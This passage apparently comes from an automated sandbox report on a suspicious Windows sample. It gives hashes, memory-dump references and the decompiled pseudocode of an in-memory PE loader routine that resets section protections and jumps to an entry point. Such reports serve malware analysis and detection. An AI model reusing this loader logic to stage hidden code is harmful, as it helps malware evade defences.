                                                                                                                                              • Associated: 00000002.00000002.684586638.000000006EBED000.00000004.00020000.sdmp Download File
                                                                                                                                              • Associated: 00000002.00000002.684618146.000000006EBEF000.00000002.00020000.sdmp Download File
                                                                                                                                              Yara matches
                                                                                                                                              Similarity
                                                                                                                                              • API ID:
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID:
                                                                                                                                              • Opcode ID: fd15730e2b079be4b6b8a7062629486b695936ae8cc97fc44db0a1cc4c458307
                                                                                                                                              • Instruction ID: 3bb7131821f7947dbc0b452b881431db14a26327855f346d24e1d771ac9221af
                                                                                                                                              • Opcode Fuzzy Hash: fd15730e2b079be4b6b8a7062629486b695936ae8cc97fc44db0a1cc4c458307
                                                                                                                                              • Instruction Fuzzy Hash: AA11F3B8A15A01CFCB48CF09D1908617BFAFBAE39131285AAD8098B367D734D945CF54
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              Executed Functions

                                                                                                                                              C-Code - Quality: 42%
                                                                                                                                              			E02DD1D3C(void* __ebx, long __edi, long __esi, intOrPtr* _a4) {
                                                                                                                                              				char _v20;
                                                                                                                                              				intOrPtr _v24;
                                                                                                                                              				intOrPtr _v28;
                                                                                                                                              				intOrPtr _v32;
                                                                                                                                              				intOrPtr _v36;
                                                                                                                                              				intOrPtr _v40;
                                                                                                                                              				char _v44;
                                                                                                                                              				intOrPtr* _v48;
                                                                                                                                              				intOrPtr _v52;
                                                                                                                                              				intOrPtr _v56;
                                                                                                                                              				intOrPtr _v60;
                                                                                                                                              				intOrPtr _v64;
                                                                                                                                              				intOrPtr _v68;
                                                                                                                                              				void* _v72;
                                                                                                                                              				char* _v76;
                                                                                                                                              				int _v80;
                                                                                                                                              				long _v84;
                                                                                                                                              				long _v88;
                                                                                                                                              				DWORD* _v92;
                                                                                                                                              				intOrPtr _v96;
                                                                                                                                              				int _v100;
                                                                                                                                              				intOrPtr* _v104;
                                                                                                                                              				intOrPtr _v108;
                                                                                                                                              				intOrPtr _v112;
                                                                                                                                              				void* _v116;
                                                                                                                                              				intOrPtr _v120;
                                                                                                                                              				char* _v124;
                                                                                                                                              				intOrPtr _v128;
                                                                                                                                              				intOrPtr _v132;
                                                                                                                                              				intOrPtr _v136;
                                                                                                                                              				intOrPtr _v140;
                                                                                                                                              				intOrPtr _v144;
                                                                                                                                              				intOrPtr _v148;
                                                                                                                                              				signed int _v152;
                                                                                                                                              				signed int _v156;
                                                                                                                                              				intOrPtr _v160;
                                                                                                                                              				int _v164;
                                                                                                                                              				intOrPtr _v168;
                                                                                                                                              				intOrPtr _v172;
                                                                                                                                              				intOrPtr _v176;
                                                                                                                                              				char* _v180;
                                                                                                                                              				intOrPtr _v184;
                                                                                                                                              				intOrPtr _v188;
                                                                                                                                              				char _v192;
                                                                                                                                              				intOrPtr* _t141;
                                                                                                                                              				int _t148;
                                                                                                                                              				int _t156;
                                                                                                                                              				int _t160;
                                                                                                                                              				intOrPtr _t170;
                                                                                                                                              				int _t182;
                                                                                                                                              				unsigned int _t204;
                                                                                                                                              				intOrPtr _t224;
                                                                                                                                              				void* _t236;
                                                                                                                                              				intOrPtr _t239;
                                                                                                                                              				void* _t246;
                                                                                                                                              				intOrPtr* _t250;
                                                                                                                                              				intOrPtr _t258;
                                                                                                                                              				DWORD* _t271;
                                                                                                                                              				void* _t275;
                                                                                                                                              				intOrPtr* _t278;
                                                                                                                                              				intOrPtr* _t279;
                                                                                                                                              
                                                                                                                                              				_t141 = _a4;
                                                                                                                                              				_v20 = 0;
                                                                                                                                              				_t246 =  *((intOrPtr*)(_t141 + 0x28));
                                                                                                                                              				 *0x2dd4418 = 1;
                                                                                                                                              				asm("movaps xmm0, [0x2dd3010]");
                                                                                                                                              				asm("movups [0x2dd4428], xmm0");
                                                                                                                                              				_v48 = _t141;
                                                                                                                                              				_v52 =  *((intOrPtr*)(_t141 + 0x38));
                                                                                                                                              				_v56 =  *((intOrPtr*)(_v48 + 0x18));
                                                                                                                                              				_v192 = _t246;
                                                                                                                                              				_v60 =  *((intOrPtr*)(_v48 + 0x10));
                                                                                                                                              				_v188 = _v52;
                                                                                                                                              				_v184 = 4;
                                                                                                                                              				_v180 =  &_v20;
                                                                                                                                              				_v64 =  *((intOrPtr*)(_t141 + 0x4c));
                                                                                                                                              				_v68 = 4;
                                                                                                                                              				_v72 = _t246;
                                                                                                                                              				_v76 =  &_v20;
                                                                                                                                              				_t148 = VirtualProtect(__ebx, __esi, __edi, _t271); // executed
                                                                                                                                              				_v80 = _t148;
                                                                                                                                              				_v192 = _v72;
                                                                                                                                              				_v188 = 0;
                                                                                                                                              				_v184 =  *((intOrPtr*)(_v48 + 0x38));
                                                                                                                                              				_v84 = 0x400;
                                                                                                                                              				_v88 = 2;
                                                                                                                                              				_v92 =  &_v20;
                                                                                                                                              				_v96 = 0;
                                                                                                                                              				E02DD140D();
                                                                                                                                              				E02DD17BE(_v72,  *((intOrPtr*)(_v48 + 8)), _v56);
                                                                                                                                              				E02DD140D( *((intOrPtr*)(_v48 + 8)), 0, _v56);
                                                                                                                                              				_t156 = VirtualProtect(_v72, 0x400, 2, _v92); // executed
                                                                                                                                              				_t278 = _t275 - 0x90;
                                                                                                                                              				_t236 = _v72;
                                                                                                                                              				_t258 =  *((intOrPtr*)(_t236 + 0x3c));
                                                                                                                                              				_v100 = _t156;
                                                                                                                                              				_v104 = _v72 + 0x3c;
                                                                                                                                              				_v108 = _t236;
                                                                                                                                              				_v112 = _t258;
                                                                                                                                              				if(_t258 != 0) {
                                                                                                                                              					_v108 = _v72 + (_v112 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                                                              				}
                                                                                                                                              				_v168 = _v108;
                                                                                                                                              				if(_v60 != 0) {
                                                                                                                                              					_v144 = 0;
                                                                                                                                              					_v140 = _v168 + 0x18 + ( *(_v168 + 0x14) & 0x0000ffff);
                                                                                                                                              					while(1) {
                                                                                                                                              						_t170 = _v140;
                                                                                                                                              						_t204 =  *(_t170 + 0x24);
                                                                                                                                              						_v148 = _t170;
                                                                                                                                              						_v152 = _t204 >> 0x0000001e & 0x00000001;
                                                                                                                                              						_v156 = _t204 >> 0x1f;
                                                                                                                                              						_v192 = _v72 +  *((intOrPtr*)(_t170 + 0xc));
                                                                                                                                              						_v188 =  *((intOrPtr*)(_v148 + 8));
                                                                                                                                              						_v184 =  *((intOrPtr*)(0x2dd4418 + (_v152 << 4) + (_v156 << 3) + ((_t204 >> 0x0000001d & 0x00000001) << 2)));
                                                                                                                                              						_v180 =  &_v20;
                                                                                                                                              						_v160 = _v144;
                                                                                                                                              						_t182 = VirtualProtect(??, ??, ??, ??); // executed
                                                                                                                                              						_t278 = _t278 - 0x10;
                                                                                                                                              						_t224 = _v160 + 1;
                                                                                                                                              						_v164 = _t182;
                                                                                                                                              						_v144 = _t224;
                                                                                                                                              						_v140 = _v148 + 0x28;
                                                                                                                                              						if(_t224 == _v60) {
                                                                                                                                              							goto L8;
                                                                                                                                              						}
                                                                                                                                              					}
                                                                                                                                              				}
                                                                                                                                              				L8:
                                                                                                                                              				 *_t278 = _v72;
                                                                                                                                              				_v120 = _v72 +  *((intOrPtr*)(_v48 + 0x40));
                                                                                                                                              				_t160 = DisableThreadLibraryCalls(??);
                                                                                                                                              				_t279 = _t278 - 4;
                                                                                                                                              				_t239 =  *_v104;
                                                                                                                                              				_v172 = _t160;
                                                                                                                                              				_v176 = _t239;
                                                                                                                                              				_v116 = _v72;
                                                                                                                                              				if(_t239 == 0) {
                                                                                                                                              					L2:
                                                                                                                                              					_t250 = _v48;
                                                                                                                                              					_v44 =  *((intOrPtr*)(_t250 + 4));
                                                                                                                                              					_v40 =  *_t250;
                                                                                                                                              					_v36 =  *((intOrPtr*)(_t250 + 0x3c));
                                                                                                                                              					_v32 =  *((intOrPtr*)(_t250 + 0x20));
                                                                                                                                              					_v28 =  *((intOrPtr*)(_t250 + 0x2c));
                                                                                                                                              					_v24 = _v120;
                                                                                                                                              					 *_t279 = _t250;
                                                                                                                                              					_v192 = 0;
                                                                                                                                              					_v188 = 0x5c;
                                                                                                                                              					_v124 =  &_v44;
                                                                                                                                              					_v128 = 0;
                                                                                                                                              					_v132 = 0x5c;
                                                                                                                                              					_v136 =  *((intOrPtr*)(_v116 + 0x28));
                                                                                                                                              					E02DD140D();
                                                                                                                                              					if(_v136 != 0) {
                                                                                                                                              						_t278 =  *((intOrPtr*)( &_v44 + 0x10));
                                                                                                                                              						goto __eax;
                                                                                                                                              					}
                                                                                                                                              					return 1;
                                                                                                                                              				} else {
                                                                                                                                              					_v116 = _v72 + (_v176 + 0x0000ffff & 0x0000ffff) + 1;
                                                                                                                                              					goto L2;
                                                                                                                                              				}
                                                                                                                                              			}
































































                                                                                                                                              0x02dd1d48
                                                                                                                                              0x02dd1d56
                                                                                                                                              0x02dd1d5d
                                                                                                                                              0x02dd1d60
                                                                                                                                              0x02dd1d6a
                                                                                                                                              0x02dd1d71
                                                                                                                                              0x02dd1d7b
                                                                                                                                              0x02dd1d81
                                                                                                                                              0x02dd1d8a
                                                                                                                                              0x02dd1d93
                                                                                                                                              0x02dd1d96
                                                                                                                                              0x02dd1d9c
                                                                                                                                              0x02dd1da0
                                                                                                                                              0x02dd1da8
                                                                                                                                              0x02dd1dac
                                                                                                                                              0x02dd1daf
                                                                                                                                              0x02dd1db2
                                                                                                                                              0x02dd1db5
                                                                                                                                              0x02dd1db8
                                                                                                                                              0x02dd1dd2
                                                                                                                                              0x02dd1dd8
                                                                                                                                              0x02dd1ddb
                                                                                                                                              0x02dd1de3
                                                                                                                                              0x02dd1de7
                                                                                                                                              0x02dd1dea
                                                                                                                                              0x02dd1ded
                                                                                                                                              0x02dd1df0
                                                                                                                                              0x02dd1df3
                                                                                                                                              0x02dd1e0f
                                                                                                                                              0x02dd1e2c
                                                                                                                                              0x02dd1e51
                                                                                                                                              0x02dd1e53
                                                                                                                                              0x02dd1e5c
                                                                                                                                              0x02dd1e5f
                                                                                                                                              0x02dd1e69
                                                                                                                                              0x02dd1e6c
                                                                                                                                              0x02dd1e6f
                                                                                                                                              0x02dd1e72
                                                                                                                                              0x02dd1e75
                                                                                                                                              0x02dd1fd2
                                                                                                                                              0x02dd1fd2
                                                                                                                                              0x02dd204c
                                                                                                                                              0x02dd2052
                                                                                                                                              0x02dd1fee
                                                                                                                                              0x02dd1ff4
                                                                                                                                              0x02dd1f07
                                                                                                                                              0x02dd1f07
                                                                                                                                              0x02dd1f22
                                                                                                                                              0x02dd1f25
                                                                                                                                              0x02dd1f33
                                                                                                                                              0x02dd1f44
                                                                                                                                              0x02dd1f70
                                                                                                                                              0x02dd1f73
                                                                                                                                              0x02dd1f77
                                                                                                                                              0x02dd1f7b
                                                                                                                                              0x02dd1f82
                                                                                                                                              0x02dd1f88
                                                                                                                                              0x02dd1f8a
                                                                                                                                              0x02dd1f93
                                                                                                                                              0x02dd1fa4
                                                                                                                                              0x02dd1faa
                                                                                                                                              0x02dd1fb0
                                                                                                                                              0x02dd1fb6
                                                                                                                                              0x00000000
                                                                                                                                              0x00000000
                                                                                                                                              0x02dd1fb8
                                                                                                                                              0x02dd1f07
                                                                                                                                              0x02dd1fff
                                                                                                                                              0x02dd200d
                                                                                                                                              0x02dd2015
                                                                                                                                              0x02dd2018
                                                                                                                                              0x02dd201a
                                                                                                                                              0x02dd2020
                                                                                                                                              0x02dd202c
                                                                                                                                              0x02dd2032
                                                                                                                                              0x02dd2038
                                                                                                                                              0x02dd203b
                                                                                                                                              0x02dd1e80
                                                                                                                                              0x02dd1e90
                                                                                                                                              0x02dd1e96
                                                                                                                                              0x02dd1e9b
                                                                                                                                              0x02dd1ea1
                                                                                                                                              0x02dd1ea7
                                                                                                                                              0x02dd1ead
                                                                                                                                              0x02dd1eb3
                                                                                                                                              0x02dd1eb6
                                                                                                                                              0x02dd1eb9
                                                                                                                                              0x02dd1ec1
                                                                                                                                              0x02dd1ec9
                                                                                                                                              0x02dd1ecc
                                                                                                                                              0x02dd1ecf
                                                                                                                                              0x02dd1ed2
                                                                                                                                              0x02dd1ed8
                                                                                                                                              0x02dd1ee6
                                                                                                                                              0x02dd1efa
                                                                                                                                              0x02dd1f00
                                                                                                                                              0x02dd1f00
                                                                                                                                              0x02dd206f
                                                                                                                                              0x02dd2041
                                                                                                                                              0x02dd2093
                                                                                                                                              0x00000000
                                                                                                                                              0x02dd2093

                                                                                                                                              APIs
                                                                                                                                              Strings
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000005.00000002.317567648.0000000002DD0000.00000040.00000001.sdmp, Offset: 02DD0000, based on PE: true
                                                                                                                                              Similarity
                                                                                                                                              • API ID: ProtectVirtual
                                                                                                                                              • String ID: \
                                                                                                                                              • API String ID: 544645111-2967466578
                                                                                                                                              • Opcode ID: 314f126b0cecf4ceab5bd8706a020893208fc99b5701886f07dcfbc548d65126
                                                                                                                                              • Instruction ID: b8bfddee30030b32157c60097f3e18bf9e1ca1729cbef8ba53ee6ed1ade00e8c
                                                                                                                                              • Opcode Fuzzy Hash: 314f126b0cecf4ceab5bd8706a020893208fc99b5701886f07dcfbc548d65126
                                                                                                                                              • Instruction Fuzzy Hash: 1AB1ABB5E006198FCB14CF69C980A9DBBF1FF48304F2585AAE958AB351D730AD85CF91
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              APIs
                                                                                                                                              Memory Dump Source
                                                                                                                                              • Source File: 00000005.00000002.317567648.0000000002DD0000.00000040.00000001.sdmp, Offset: 02DD0000, based on PE: true
                                                                                                                                              Similarity
                                                                                                                                              • API ID: AllocVirtual
                                                                                                                                              • String ID:
                                                                                                                                              • API String ID: 4275171209-0
                                                                                                                                              • Opcode ID: 77a4ce7cbd9b0b6e3dfb75932d68ed1e485d91fe3d93fc30e60a4b16e5e7962b
                                                                                                                                              • Instruction ID: 70ab2ce2050a7dda7af97133feb52d211278819eed971ef7cefd03f56cbfab23
                                                                                                                                              • Opcode Fuzzy Hash: 77a4ce7cbd9b0b6e3dfb75932d68ed1e485d91fe3d93fc30e60a4b16e5e7962b
                                                                                                                                              • Instruction Fuzzy Hash: 774106B1E0521A9FCB08DF98D490AAEBBF1FF48310F14852DE448AB340D775A844CF90
                                                                                                                                              Uniqueness

                                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                                              Non-executed Functions